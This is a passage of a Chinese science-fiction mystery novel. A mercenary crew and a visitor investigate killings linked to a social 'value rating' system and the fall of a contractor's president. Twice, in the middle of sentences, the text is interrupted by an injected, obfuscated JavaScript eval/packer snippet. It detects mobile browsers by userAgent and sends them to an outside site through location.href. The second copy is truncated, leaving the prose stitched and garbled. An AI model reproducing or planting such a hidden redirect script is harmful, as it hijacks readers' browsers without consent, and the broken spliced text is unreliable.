“你看,我说小兄弟很懂规矩的,他就是不知道咱们这里的情况而已。”关铁震拍了拍白少俊的肩膀,继续跟姜原说道:“总之,自从大家都开始弄这个东西以后,这个评级的分量是越来越重了,人人都得有,没有还不行。如果是外地来旅游的倒无所谓,你要是想来这里打工,没门,租房都租不到。” “而且加上最近那个杀人的事情,大家现在更紧张了。现在搞不好的话,命都要没了。但想提高评级又谈何容易呢。”郑小楼接茬道。 “我还是说,那只是偶然。每次评级整个复合体都有一半人调上,一半人调下,所有下调的都被杀了吗?”马延仙反驳道。“再说了,每次命案的地点都不一样,也没有什么明显的规律。你不能全相信新闻上那些东西。你们年轻人是不知道,我们那个时候的谣言,那可是——” “没有明显的规律只是他们不公布而已,铸造局那些人哪次不是躲躲藏藏闪闪躲躲的,就怕让大家知道他们到底有多废物。”关铁震骂道。 “我只觉得应该快点把他拎出来宰了。”白少俊说。他的脸一直沉着。 “唉,大晚上的,干嘛非要一直说杀人之类的事情?我们也快回去吧。”关铁震向四周看了看。 “不过,如果昨天晚上是死掉三个人的话,那动手的或许还不止一个人呢。说不定是团伙杀人。一个隐藏在这浓雾之中,专门等到凌晨时分上街寻找猎物的团伙。”郑小楼似乎对这种事情很感兴趣,仍然在说个不停。 马延仙笑了笑。“你还别说,大概四十年前,反正我年轻的时候啊,这里也闹过一个案子。也是有个起大雾的晚上,大街上死了一个陪酒女。说是肠子都让挖出来了。然后连续好几周,只要一起大雾,就要死一个陪酒的女孩子。那时候还不是铸造局管这类事情,是城管,他们比铸造局还差,一直都找不到凶手。 “但这个事件也没有一直持续下去。死了十几个人之后,起雾的季节就过去了。然后等再起雾的时候,也没有继续死人。事情就不了了之,最后也没人知道是怎么回事。大家管那个家伙叫……叫什么来着?肠子……挖肠手?”马延仙挠了挠头皮,但仍然想不出那个名字。 “四十年前啊,那个人说不定还活着呢。”郑小楼露出一副向往的表情。 “你们快不要说了,我不想听。”关铁震恼道。 “真怂。我倒巴不得他现在出来,正好一了百了。而且,你又不是没杀过人,怕什么。”白少俊说。 “唉。任务是另外一回事啊。公事公办,杀人或是被杀,我也都认了。但这种事情,就像是暗地里有人没日没夜地盯着你一样,趁你不注意就下手,让人没办法放心,完全不一样。好啦好啦,我们快点回去,不要在外面逗留。”关铁震推着他们,一直离开码头。 “四大恶人”的小工作室就在港口区附近的一栋旧楼里,是附近小区的商业裙楼。裙楼总共两层,一层是店面,2层隔开了当住宅,关铁震和白少俊一人一间。马延仙是独自住几个街区前自己的老房子里,他自己早顺路回家去了;而郑小楼是在工作室所在的小区里租了一间40平米的单身公寓,她是三年前来申宁碰运气的,家里人都不在这里。 姜原本来想去找间旅馆,但关铁震不让,说着“万一出事了怎么办”,把姜原生拉硬拽弄到工作室,让姜原住他的房间,他自己去睡沙发。但姜原是不太想睡别人的床,跟关铁震磨了半天,才争取到睡沙发的权力。 他们的沙发还挺不错,把靠背放下来的确就跟一张床差不多。但姜原不太睡得着。主要是因为一楼的落地窗实在太大,他只要不闭眼,就老能看到对面的高楼上的灯光。 那边的高楼上有一个“PMC anti-cyber”的牌子。只不过,那招牌似乎没有通电,招牌旁边的楼层也暗暗的,一盏灯都没有。 此时,关铁震提着一瓶酒,几包花生下来了。 “安提赛就在你对面?是不是太小了点啊?”姜原随口问道。 关铁震抬头看了一眼,然后笑了笑。“是啊。安提赛就在我们对面。但他们早就不用这里了。安提赛的新总部在北郊那边,只是这里一直没有卖掉而已。大概是邹敏宏比较念旧吧,留着这么一层楼大概对他们来说也不算什么钱。话说回来,其实就是因为对面是安提赛,我才选了这个位置。说来也不怕笑话,我一直很羡慕他们。去卡比利亚的任务之前,我知道是他们退出了才让我们加入,还是吓了一跳的。当时我有点惊讶,但内心都是窃喜。” “他们有什么好羡慕的。跟其它佣兵组织也没什么不一样啊。” “我羡慕的是邹敏宏。他是安提赛的总裁,白手起家,从街上的小混混一路往上爬到了承包商的位置。我年轻时爱听他的故事,想着有朝一日要和他一样。只不过没想到,短短几天时间,一下人就散了。” 姜原倒是没想到会这样。“怎么就散了?” 关铁震摆好杯子,给姜原倒了酒,又扯了张报纸铺在桌上,把花生拆开往上一倾,然后才说道:“就是价值评级啊。他们之前干得老不错了,单子一直接,评级一直升。然后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225780|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹敏宏大概是飘了,前段时间他大招新人,又吃了一大笔军火,总部扩建,自己还买了游艇豪宅什么的。然后十天前,他接了一个大单,然后也不知道怎么,就失败了。你大概知道这个事。他们在环运城和统修会枪战,双方全被击毙。一支分队大概二十来个人,无一生还。” 姜原听到这里,心里一惊。他偷眼去看关铁震的表情,但关铁震似乎并没意识到他和这件事之间的联系。姜原端起酒杯,说:“只是死了二十来个人而已,也不至于一下子就散掉吧。” 关铁震嚼了几粒花生,举起酒杯跟姜原一碰,然后一口闷下肚去。“如果是以前,的确不至于这样。干这一行的,脑袋挂裤腰上,刀口舔血,随便哪天死在阴沟里,都是预料中的事情。邹敏宏也是经历过起起落落的人,安提赛也是打拼了很多年才有现在的位置。但如今,牵扯到价值评级,就是另外一回事了。就是那个,夫妻本是比翼鸟——” “夫妻本是同林鸟,大难当头各自飞。” “对。消息上新闻之后,几个老队长害怕连累到自己的评级,带着手下纷纷跳槽,要去其它公司;而几个投资人也担心血本无归,打算抢先把自己的本金拿回来。这几个元老配合投资人联合起来一闹,邹敏宏压制不住,又没有现钱——钱都花了。人走的走,抢的抢,一个平均A级的私人承包商,一下子就完蛋了。现在还不知道这件事会怎么了结呢。” 关铁震说完,又给自己和姜原倒酒。 姜原算是听懂了关铁震的意思。“所以,你也担心你们变得跟安提赛一样。你打算今晚问我,之前在船上说的文件,能不能把你们的评级抬上去。” 关铁震一拍自己的脑门,笑了。只是眼神里并没有多少笑意。“小兄弟,你真是个聪明人。的确,我是挺担心的。你也看到了,我们根本不是什么精英——我也不指望我们能做到安提赛那样——但我还不想散伙。尤其是老马和小郑,我既然把他们弄进来,起码要对他们负责。毕竟是同一根绳上的——” “同舟共济。”姜原说。 “对。所以,我的确是想问。你之前说的,到底做不做数。” “当然算数。”姜原端起酒杯,抿了一口。 “算数就好。但你在船上换衣服的时候,我无意间看到,你旁边有个黑色的盒子。之前你没有去车头停车,却一直留在前面的车厢。所以当时我听你说的时候,差点还以为,那就是你说的文档呢。” 姜原放下酒杯,伸手把小黑盒从大衣里抽了出来,拍在桌上,向关铁震面前一推。“如果你这么觉得,那你去把它卖了吧。记得卖完了分我一份。” 关铁震伸出手去。 他的拇指搭上盒子正面的锁扣,另外四根手指按在盒子上方,微微用力。 姜原拈起几颗花生抛入口中,嚼得咯咯作响。 咔哒。 关铁震的拇指抠开了锁扣。只需要轻轻一扳,那个盒子就可以打开。 姜原仍然靠在沙发上,嚼着花生。 但关铁震的动作却停下了。 过了片刻,他重新推上锁扣,把盒子推回姜原的面前。 “还是算了吧。”关铁震说。“我没想好接下来应该怎么办。” 姜原点了点头,把盒子重新塞进风衣里。 “关老大。”姜原把“老大”两个字咬得很响。“我保证,会处理好咱们价值评级的事情。只要你在这几天里能帮我见到那位卡比利亚的圣女,一切都好说。而且,就算事情不如人意,我也决不会亏待你。虽然我也没什么大钱,但办法还是有一点的。” 关铁震点了点头。“好。那就这么定了。我们明天一起去铸造局看看。” 关铁震又跟姜原喝了几杯酒,就上楼去了。 姜原长出一口气,慢慢躺回沙发上。 他需要好好想一想接下来的计划。 他感谢关铁震是这样一个人。但同样的情况也不会有两次。 他需要武器,还有离开这里的交通工具。 但是,他应该趁夜离开吗?他上次在这里呆的时间并不长。对这座城市的情况并不是很熟悉。而且关铁震能够容忍他,一方面也是因为他现在赤手空拳。如果他武装起来,大概会直接过渡到四对一的局面,那跟彻底翻脸也差不了多少。 但他们是本地人。同时也是雇佣兵。 如果事情发展到要动手,他们或许能成为可以用的牌。 所以他目前没有必要急着武装自己。他明天可以先去看看能不能联系上周向青,能不能弄清楚弗莱留下的那两段信息到底意味着什么。 而且他还需要能够解码并分析他手头文档的算力。 而米卡这个反自动化的地方,有这样级别算力的组织,除了复合体自身以外,还有谁呢? 姜原叹了口气。 他现在最需要的,就是看清楚自己的未来在哪个方向。 但就跟街对面的夜景一样,他能看到的只有黑暗,以及这座城市里无止无尽的雾气。 他什么都看不透,摸不到,唯一能感受的只有嘴里的那一点淡淡的涩味。 白少俊并没说错。这里的雾,的确尝起来有点苦涩。 但这是为什么呢? 不知道。也无法思考。 他的意识随着身体,渐渐在沙发的海绵垫中融化,散开。 这几天的经历让他太疲倦了。他的眼皮渐渐失去了力量。 就像对面楼上的黑影般,突然坠落。 砰。 一声遥远的闷响后,他彻底跌入了梦乡。 68.雾气弥漫的城市08 “出事了!又出事了!又杀人了!” 是女人的叫声。 姜原从沙发上挣起半个身子。 天光已亮。只是厚厚的浓雾堆积在玻璃门外,挡住了全部的光线。 郑小楼推开玻璃门,哒哒哒一溜烟从姜原身边跑过,啪啪啪地拍着楼梯口的墙壁,向上喊道:“关老大!杀人了!” 关铁震一手提着他松垮垮的裤子,一手扶着楼梯踉踉跄跄地冲了下来。 “怎么了怎么了?谁杀人了?什么情况?” “就是对面安提赛的邹敏宏,你不是老说他吗?他昨晚坠楼了,你过来看!” 郑小楼回到客厅里,去开电视。 电视上正在播出早间新闻。 “私人承包商安提赛的前总裁邹敏宏于昨晚疑似自杀。当时,一名下夜班的工人在回家路上,看到有一具尸体。在铸造局赶到后,查验其身上的身份证件,确认死者就是安提赛的前总裁邹敏宏。安提赛就是前日……” 电视上播出了昨晚的画面。那是一张在黑暗中拍下的照片。当中死者的部分都打了马赛克,但能够看得出扭曲的肢体、衣服的颜色、还有血迹,以及背景中是一栋大楼。 “这不太像是他们总部啊?”关铁震说。 “谁说是总部了。就咱们对面!我刚才不是说了吗?”郑小楼道。 “……铸造局局长在今早表示,他得到的消息有限,但可以确定的是,邹敏宏大概是在昨晚11点左右从安提赛最早起家的地方坠楼,当即死亡。虽然在现场没有发现遗书,但铸造局表示,自杀的可能性很高。因为安提赛的确在几天前遭遇了价值评级危机。虽然邹敏宏本人的评级的结算期是本周周末,目前尚未出结果,但评级大幅下调也是很显然的事情……” 他们盯着电视屏幕看了半晌。新闻播报员不再说案情的细节,而是开始详细介绍安提赛最近遭遇的评级危机。 “看来,这一次有可能是自杀了。”郑小楼说。 “我不相信,”关铁震的表情有点难看,“我知道的邹敏宏不是这种人。” “也有可能是专门狩猎这些评级下滑的人,把他当作目标了。” “我更不信。不可能。”关铁震斩钉截铁地说。“就是昨晚,就在对面!昨晚我居然什么都没有注意到。昨天我们在这里说话的时候,对面窗户还是黑着的。对吧?”关铁震走到玻璃落地窗前,向外看去。 对面大楼脚下拉起了一道警戒线。安提赛所在的那一层窗户中,有一扇窗仍然开着,窗前的百叶窗高高卷起,大概邹敏宏就是从那里坠楼的。 姜原闭着眼睛回忆了一下。他隐约记得在自己睡着之前,对面安提赛那一层的确一直没有灯光。 “嗯。对。是一直没有亮灯。”他说。 “所以肯定有什么问题。”关铁震说。 郑小楼提议:“要不咱们一起去铸造局问问情况?” “有什么好问的。铸造局的那些人肯定什么都不会说。你又不是不知道他们什么德行。我们事办完就回来。我还得跟马老爷子弄一下账。”关铁震说。 “你真的不想知道邹敏宏到底为什么死?你每次一喝酒就在叨叨他白手起家艰苦创业,就跟个纯情小姑娘在吹嘘自己男朋友一样。然后现在真的就闹出这么大动静了,你又说你不想知道?”郑小楼连讥讽带反问。 “我想。我只是不觉得铸造局会那么简单把情况告诉我们。” “哟。这么老实可不像你啊。你是怕挖出你偶像的黑料吗?” 关铁震涨红了脸。“我才不没有!问就问,有什么的?” “等等。你们先别说话。”姜原说。 电视上已经在播下一条新闻了。 “……从我方角度来说,虽然复合体不会因为统修会的主张而向愚昧的信徒低头,但我们也不能随意牺牲战士们宝贵的生命。大概出于同一原因,可控自动化铸造局迄今仍未能决定审判的时间表。据悉,许多市民看到了与该仿生人外型相似的人出入于人才贸易银行中,或许这意味着它已经被移交至易谦明这位新贵的监护之下。虽然我们向有关方面求证,但均未得到正面回应……” “我们大概不用去了。”姜原说。 “为什么?” “因为我要找的人已经不在你们的那个铸造局了。”姜原指了指电视屏幕。 “这你看得出来?”关铁震问。 电视上只是一个模糊的影子,穿着风衣,拎着一个提包,正侧过脸望向镜头。 姜原点了点头。他认得出那顶帽子的配色。 虽然他并不是百分之百的确定。 关铁震问:“那我们就去银行咯?说不定要见到她还更简单点。” 人才贸易银行。 姜原记得,周向青从卡比利亚的大博物院地下出来时,告诉他的账号就是这个银行的。而人才贸易银行中存储的,只能是通过价值评级的人名。可以预见的是,弗莱留给周向青的信息,应该是几个关键性的名字。 可能是知道他去处的人,或者是相关的提示。 如果周向青就在银行,那她大概已经知道那些名字是什么了。那么他现在应该尽快去与她回合,继续追查这条线索吗? 但他手头的事还没有着落。解码这份政府文档,检查其中到底有什么让那些教授们痴迷的东西,还需要不少时间和门路。而他的时间越来越少了。 易谦明、价值评级、人才贸易银行。这三个词让他脑子里冒出一个新念头。 一个要分析、评估、处理整个复合体上市人员数据的地方。大概这里没有谁的设备能比人才贸易银行的算力更高。要有易谦明的首肯,说不定几天就可以解码完整个政府文档。 这是一个非常有价值的合作对象。 只是他对易谦明这个人毫无了解。 另外,他不能再重复卡比利亚时,急于求成的失误。他需要再多了解一些东西,他手里需要更多的牌,他需要一个能够被易谦明接受的契机。 而他面前不就是一个绝好的机会吗? “不。暂时不去。我们再多了解一下情况。”姜原说。 “可是昨晚——” “情况不一样了呀。昨天我们以为她被关着,但现在她是在人贸银行,在易谦明那里进进出出。且不说这意味着什么,你就好好想想,你这一辈子,能有几个去见易谦明的正当理由?这可是易谦明啊!关老大!”姜原一手按上关铁震的肩膀,另一只手在空中随意一挥。“你们复合体最有权力、最有财富、最有名望的人!也正是他的银行在给你们评级!如果我们能得到他的那么一点点好感,就算人家用小手指这么轻轻点你一下,你也上天了不是?” 姜原一边说,一边用同样的姿势在关铁震胸前一戳。关铁震揉着自己胸口,脸上渐渐浮出喜色。 姜原又说:“只要让他感觉到,你是一个有用的人,说不定他还会给你安排几个活干干。比如……眼前的这件事。” “什么?” “就是眼前的这个案子啊。你不是觉得,铸造局没什么用;而你个人也很在意邹敏宏的事情吗?如果我们能找到干这件事的人,或者背后的组织,那你还用得着愁你的评级?” “这话倒是没错。最近新闻里一直在说,受害者的选择跟评级下调有关。现在反对评级的人越来越多了。如果能证明这些杀人案跟评级没有关系,那对他大有好处。”郑小楼附和道。 “我也觉得行。”刚从楼梯上下来的白少俊插嘴道。“我不相信你,也不相信你那什么文档的事情。我不相信你那些屁话。但杀人案不是什么捕风捉影的东西,而且一直这样提心吊胆,生意都没法做。如果顺便还能提升评级,那是一举两得了。” “那就是四个人赞成了。”关铁震说。“虽然马老爷子还没来,但估计他也是……” “好,好,只要你们年轻人觉得好,我没有什么意见。”郑小楼做出一副老态龙钟的样子。 “那我们现在就去对面看看?” “当然了。我就说了,你真的不感兴趣吗?”郑小楼问。 警戒线内的血迹和粉笔圈,标示着邹敏宏落地的位置。铸造局大概是在昨夜到今早已经收走了全部的证据,只剩下现场还没有完全打扫。安提赛旧总部所在的楼层也是这样,大门敞开,只用几条黄黑相间的警戒带拦在门上,随着穿堂风微微抖动。 他们撩起警戒带,直接钻了进去。 室内一片荒凉景象。本来就长期没有人使用这里,所以到处都积了厚厚一层灰土。这也使得动了什么,没动什么显得特别明显。 办公室就是一个大屋子,里面隔开一个个雇员们各自的座位;而另一侧有一间同样大的更衣室,以及整理装备的工作间。在大屋的另外一侧,应该是作战会议室和邹敏宏自己的办公室。 “你们有什么发现吗?”郑小楼问。 “没有。”白少俊简短答道。他东张西望,并不知道自己该看什么。“你呢?你怎么样?”他上去一拍关铁震的肩膀。 “啊?”关铁震身子一哆嗦,把手里的东西落在了写字台上。那是他刚才从抽屉里翻出的一个笔记本,上面是一排排潦草的字迹。“我没找到什么。就是以前的会议笔记。” “那你看它干什么?真是的。”白少俊骂了一句,转向窗变的姜原。“还有你呢?不是你要来的吗?你找到什么了?” “我?我什么都没找到。”姜原转过头笑了笑。“我又不是专业人士,不懂侦探那一套。” “啊?那你不是扯淡吗?我们还在这里看干什么?” “我在看这里没有什么。”姜原回答。看到三个人都不明白自己的意思,姜原又解释道:“我只是想看看这里到底没有什么。看着像证据的肯定已经被铸造局拿走了。我们看不到‘有什么’。那么,‘没有什么’就更能说明目前的情况。邹敏宏他现在已经不在这里办公了,不是么?但是,他又偏偏死在这里。如果换成你们,你们准备自杀。现在你们回到这个事业开始的地方,一切都那么熟悉又那么陌生。然后你们会直接打开窗,扑通跳出去吗?” “我多少得喝点酒,哭一场之类的。”关铁震说。看到郑小楼的眼神,他心虚似地嚷道:“怎么了嘛!男人就不能哭?” 郑小楼撇了撇嘴。 “且不管他到底会不会哭吧。总之,这个地方没有给我一种他在这里留了很长时间,就是跟自己的过去告别会留下的痕迹。我昨晚面对这一侧睡觉,但没有看到他开灯。而且,一个佣兵团的最高长官,想要自杀的话,会选择跳楼,而不是——吗?”姜原做了个对脑袋开枪的动作。“这样难道不是更体面一点?如果想被人发现,可以把灯打开。” 郑小楼问:“所以你也觉得他是被杀而不是自杀?” “我不知道。但如果是谋杀,意图伪装成自杀,为什么不索性再伪造一份遗书让他们发现呢?哪怕只是打印的也好,又不费多少功夫。” “可能他们没有签名?” “人都能杀了,还搞不到签名?不可能。”白少俊说。 “这本子上就有签名。而且这里还有好多个这种本子。”关铁震把他刚才翻看的笔记本摊开。笔记本的内页上就写着邹敏宏的名字。 “嗯。他们没有用这一招。” “但这能证明什么?我们还是什么都不知道。” “别这么看轻自己。反正目前的情况可以看出两点:一,无论邹敏宏是主动还是被动,这个地点都是特意选择的,而且在这里没待多长时间;二,不论邹敏宏的死是什么原因,对方似乎并没有需要特别强调这一死亡的意图。这就已经说明很多东西了。” “说明什么?”关铁震茫然问道。 “说明对方的目的仅在于让他死。我们可以看看其它的案件有没有类似的特征。”姜原拍了拍关铁震的肩膀,向门口走去。 他们刚刚撩起警戒线出来,就看到两个穿着铸造局制服的雇员大口嚼着卷饼,从电梯里出来。二人看到他们,吃了一惊,正要说话,姜原却抢先开口。 “上面叫你们收拾现场,你们倒好,跑出去吃早点,嗯?擅离职守?” 两人一愣,问:“您……您是哪位?” 姜原哈哈笑了。“开个玩笑。我们是易谦明先生委托的私家侦探,有人总在利用这些事情攻击他的银行,所以他让我们来查个清楚。今早你们勘察现场的时候,看到什么值得注意的东西没有?谋杀的证据之类的。” 两人对视了一眼,其中年纪较轻的一个说:“没有。他们在楼上没找到任何证据,所以我们才觉得——”年纪较长的那个扯了一下他的衣摆,年轻人便闭上了嘴。 “这样。那我们就不忙着去局里了。谢啦,小兄弟。”姜原摆了摆手,按下了电梯的按钮。 “这样就行了?”上了电梯,关铁震便开口问道。他还没有从刚才的节奏中反应过来。“我还是感觉我什么都不知道。” “我们的确什么都不知道。”姜原回答。 “啊?” “我们又不是真的侦探。我们不需要知道侦探需要知道的东西。我们只需要知道我们需要知道的东西。” 姜原看到关铁震仍然一头雾水,详细解释道:“你昨天不是说,最近这一个多月起,陆陆续续一直在死人吗?运用逻辑分析一下这些媒体已经报道的案件,可以预测,有四种可能: “一,这些案子全是由一个神秘人,或者神秘组织,出于某种不为人知的原因犯下的;二,大多数案件是神秘人犯下的,少部分与他毫无关系;三,只有很少一部分,甚至只有几件是这个人犯的,大多数都与他无关;四,这些案子各自有各自的理由,这个神秘人或神秘组织并不存在。而跟据常理,我们先排除第一种可能。因为媒体在这段时间过于紧张,很可能把不相干的事情也混进来。然后我们可以排除第四种可能,因为——”姜原拖了一个长音。 郑小楼猜道:“因为显然一些案子有可疑之处? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在他关门的一瞬间,姜原听见马延仙在用惊讶的口气说:“怎么变成是他在发号施令了?” “我算是知道为什么关铁震喜欢你了。”白少俊说。“你的确是有一点我们没有的东西。” “每个人都有点别人没有的东西,所以大家才要合作嘛。”姜原说。 “但这就是我讨厌你的点。装模做样说些屁话。我告诉你,我不管你打算干什么,我都是要找到那个人。我不想让这些人每天提心吊胆的。” “嗯。好。”姜原说。随便他说什么。只要自己的目的能达到就好。 他们在码头找到了昨晚看到的那几个工人。他们正忙着卸一船货。 “雄哥!我又来了!”白少俊大声叫道。 雄哥乐呵呵地从船上下来,打趣道:“怎么,恶人当不下去,想回码头讨生活啦?现在我们的确还听缺人的,你想来随时都能来喏。” “别说,可能再过几天,就真的得来投奔你啦。”白少俊也笑着说。 “嘁,我才不信。不过,你是来干嘛?” “我是问昨晚上说的那件事。” 白少俊这么一说,雄哥的脸一下就拉长了。“那件事有什么好说的。你还是回去干你自己的活吧。” “雄哥。我们是想把那杀人的家伙找出来,所以才来问你。” “你们?我可不相信你那个光头有这本事。” “嗨。你老提他干什么。他虽然蠢,但也不算是坏人。而且,这个小兄弟要比他强多了。如果不是有这个兄弟帮忙,我今天也不来找你。”白少俊说。 “是么。”雄哥对着姜原上下打量了一番。“唉,好吧。你想问啥?” “是这样。前天那三个工人,是你们先发现的吗?我想听听你当时的第一印象。”姜原问道。 “不是我。是他。”雄哥打了个唿哨。冲船上一个精瘦矮小的黑汉子招了招手。“我也是后来才听说的。我过去的时候,铸造局的人都已经来了。我就是看了一眼。但给我的感觉就是……像是你出海钓鱼,然后把鱼带回来,在地上摆着一样。想想就觉得恶心。你们问他吧,我先走了。” 诚哥吩咐了那黑汉子两句,径自离开了。 那汉子来到姜原和白少俊面前,打了个招呼。他跟白少俊有点像,只不过更矮小,脸部的凹凸也更明显,像是典型的南边人。姜原问:“你那天看到那三个工人的时候,是什么一个经过?” “嗯。是这样。就那天的前一天,其实我都已经预感到不对劲了。我一开始以为是我吃蛤蜊闹肚子,结果不是,也不知道咋的,我一晚上没睡好。然后第二天早上,我也没胃口吃早点,我就带着早饭打算在船上热一下吃。结果来了以后发现到处都没人,我来太早了。然后我记得码头办公室里有个炉子,我就来这边,结果一看,诶呀!地上整整齐齐躺着三个人!每人背上都一个血洞,当时血还没完全干,咕嘟咕嘟地往出冒,流的满地都是。那把我给吓得呀。我想报警,但电话又在办公室里头,我可不敢从他们身上跨过去。我就赶快跑到码头外面那个特产店里,当时店门还没开,我砰砰砰地拍他们家店门,然后李老太还喊‘是不是有人敲咱们家门’,李老头喊‘没有,哪有这么早买特产的’。然后我对着门缝直喊‘杀人啦,杀人啦’,他们才算是开了门,让我报了警。” 那汉子手舞足蹈,讲得有滋有味。显然,这套说辞大概就是这几天来跟铸造局、跟记者、跟其它的好事之徒反复讲述,打磨出来的。 “所以,他们都在码头办公室门口?这就奇怪了。”白少俊说。 “哪里奇怪?”姜原倒是没听出来。 “昨天黄飞雄说他们是接的凌晨的活。现在凌晨的活,那只能是蚬埠过来的船。接蚬埠的船,用不着去办公室。因为——” “是走私的,不登记。”姜原明白了。 “对。” “如果有人要杀他们,也没必要把他们弄到那里去。但有可能是杀了以后再摆过去……” “不可能!”那汉子叫道。 “为什么?” “如果是移过去,那血迹会乱。我看到的时候,还是好好的。” “你居然还知道这个。”白少俊说。 那汉子得意地笑了笑。“那当然了。我还知道,让他们过去的,多半是他们认识的人。因为他们都是码头工人,就算被拿枪指着,也不会乖乖听话。而他们身上也没有捆绑的痕迹,血液里也没查出药物。” “原来如此。多谢了。”姜原说。 “没事。如果你还想问什么,尽管找我。你就喊‘刘天成’就行。”汉子开心地说。 “一定。”姜原跟刘天成告了别,便拉着心事重重的白少俊一同离开。 “真的是他们认识的人干的吗?”走出两公里后,白少俊终于问道。 “不是。当然可能是,但不是你想的那种‘认识’。”姜原说。 “但他不是说——” “他那是从电视上听来的吧。他太爱表演了。但事实没错,码头工人不是那么乖乖听话的人。他们更不会看着自己的同伴被枪打死还无动于衷。” “你这说的不错,我也是这么认为。但这到底是怎么回事?”白少俊问。 “我也不知道。但某种程度上说,这跟邹敏宏的情况,是有相似性的。”姜原摸了摸自己的下巴颏。 69.雾气弥漫的城市09 周向青推开办公室的门,但曹文道的眼皮抬都不抬。 他躲在他写字台上厚厚的文件堆后面,手中的笔杆动个不停,也不知道在忙着写什么东西。 周向青不知该如何开口,于是在办公室里四处打量。这里到处堆满了文件,文件上积着厚厚的灰。这里唯一一个上面没有灰的东西,似乎是角落里的一个相框。那个相框很奇怪。因为它里面放着的不是照片,而是一张白纸。 周向青对着那个相框伸出手去。 “所以你今天还是来了。”曹文道突然说。 周向青缩回了手。 “是,我来了。”她答道。 “坐吧。”曹文道说。 周向青拉开椅子坐下。她空荡荡的风衣右袖自然下垂,因为她没有带那条柳怀石给她的手臂。那玩意有点太重了,虽然的确很有力,但最好还是战斗专用。 “你现在来干什么?我已经补完了记录。合作的窗口关闭了。你再来也没用。”曹文道说。 “所以你就是这么负责的,自己胡编乱造?虽然我也不在意。反正他们早在让你分管之前,就已经想好怎么处理我了吧。” 不知道为什么,周向青在去掉了右臂之后,感觉自己的攻击性反倒变强了不少。 就像是体内有一部分能量迫切地想要寻找一个出口。 曹文道的笔杆停住了。“并没有这回事。审判是绝对公正的。我已经跟据你提供的信息,以及我掌握的情况拟好了申诉词。你应该相信、并理解我一定会保障你的权力,这是法律的规定。” “我不了解你们有什么法律,也不知道这个所谓的审判到底是什么。” 这就是周向青在第二天早上仍然回来这里的原因。 虽然她觉得自己未必会真的参加那个什么所谓的审判,但她已经答应了柳怀石。 曹文道从鼻子里发出不屑的喷气声。“你们这些人总不在乎我们对这个社会宏伟的规划与精密的调控,好像你们光凭自己就能好好活着一样。所以你们才什么都不知道。到了自己需要应对,甚至是设计一套规则的时候,就搞得漏洞百出。别看某个家伙好像很得势的样子,他搞出来的东西简直狗屁不通,根本不值一提。” 周向青知道,曹文道是在借机宣泄自己对价值评级的仇恨。 曹文道骂完,继续说:“不过,无论孩子被惯成什么样子,最后还是要靠成年人照顾。给你们这些人擦屁股,是我们的工作。所以给你多讲一下也没什么。一般来说,审判都遵循属地或属人原则,交给复合体各地区举办,因此各自有各自的规矩。但你比较特殊,所以由审计庭来裁决。” “你们取的名字都怪里怪气。” “是吗?我觉得很有特色。反正,届时的安排是这样。我们先各自进场,全部就位以后,你需要宣誓你不会被自动化的便利所诱惑——虽然你本身就是自动化的产物——总之,确认过我们的身份与立场之后,审计庭宣布纪律,然后开始举证质证。这个环节是最有威严的部分。审计长用如炬的慧眼检视所有人提供的证据,任何造假作伪都逃不过他的目光。检验完证据的有效性与真实性之后,审判就进入辩论环节,审计长听完双方的辩词之后,做出宣判。接下来就是一些走流程的东西了。第一次经历的话,还是很震撼的。” 曹文道说到这里,深吸了一口气,靠在椅背上,闭起眼睛。那颗头发花白稀疏的脑袋中,不知道在想些什么。 “听起来是有点意思。但我想知道的并不是这个。”周向青打断了他。“我问的是你们更上面的态度。他们到底想要什么,想通过审判达成什么目的……或者是跟谁交易。” “啊?你是从哪冒出来的这些念头?审计庭是绝对公正的。董事会设计这套体系,唯一的目的就是保证复合体的利益,排除不可控自动化的威胁。” 周向青叹了口气。 这个老头到底是照本宣科,还是真的相信这一套? 不论是她在环运城,还是在卡比利亚看到的事情,都跟绝对公正没有半毛钱的关系。她只看到人们为了争夺自己想要的东西会采用什么样的手段,付出什么样的代价。 不过,有一句话倒是可信的。 “保证复合体的利益,排除不可控自动化的威胁。” 所以,对方大概压根不会给她赢的机会。如果这样,那么她或许就不应该参加这种审判,而是应该在拿到自己需要的东西后,尽快逃走。 周向青站起身,准备离开,却看到曹文道办公桌的文件山上放着一张报纸。报纸的头版标题是《价值评级又杀一人?安提赛前总裁坠楼身亡》。 看样子,易谦明也有自己的麻烦事。 她拿起那张报纸,重新坐下。“这就是那个连环杀人案的报道?” “哼。简直就是胡说八道。”曹文道似乎是对这个话题没有兴趣,又把头埋回了文件堆里。 周向青翻了翻那报纸。“他们说,可能是因为价值评级降低而自杀,或者被最近的连环杀人凶手所杀。” “哼。人才不会那么脆弱,也不会那么疯。” “但如果对自己很失望,对未来很恐惧的话呢?”周向青问。她倒是还从来没有想过仿生人自杀的问题。或许她没有这个功能。人类肯定不希望自己的财产突然自行毁灭掉。 “那也不会。价值评级出现之前,难道没有人对自己失望,对未来恐惧吗?如果那时候他们没死,那现在也不会死。如果他们以前就想死,那也轮不到现在死。毕竟这个世界上本来自杀的人就不少。但媒体肯定不满意这个回答。他们就是喜欢把事情往大了吹。我记得我小时候,闹过一个专门杀陪酒女的案子。那家伙每周杀一个,会把肚子剖开,肠子挖出来,就像杀鱼一样。媒体管那个家伙叫剖鱼手,认为他是在码头工作。哼。像这样的才有点连环杀人犯的样子。现在这样根本就不算。根本没有任何特点。”曹文道说。 “但这个案子不是有特点吗?价值评级还不算是特点?” “不算。”曹文道简短地反驳。 “话说回来,你的评级到底是多少?”周向青问。 “你问这个干什么?”曹文道怒问。 “我比较好奇。” “好奇!”曹文道提高了声音,但他很快恢复了理智,答道:“我之前是C。SABCDEF,C级。C+,已经准备升B。” “你说‘之前’。现在呢?” “现在是……D。” 一个D级的代理人,负责辩护上审计庭的大案子。有意思。 “为什么?”周向青问。 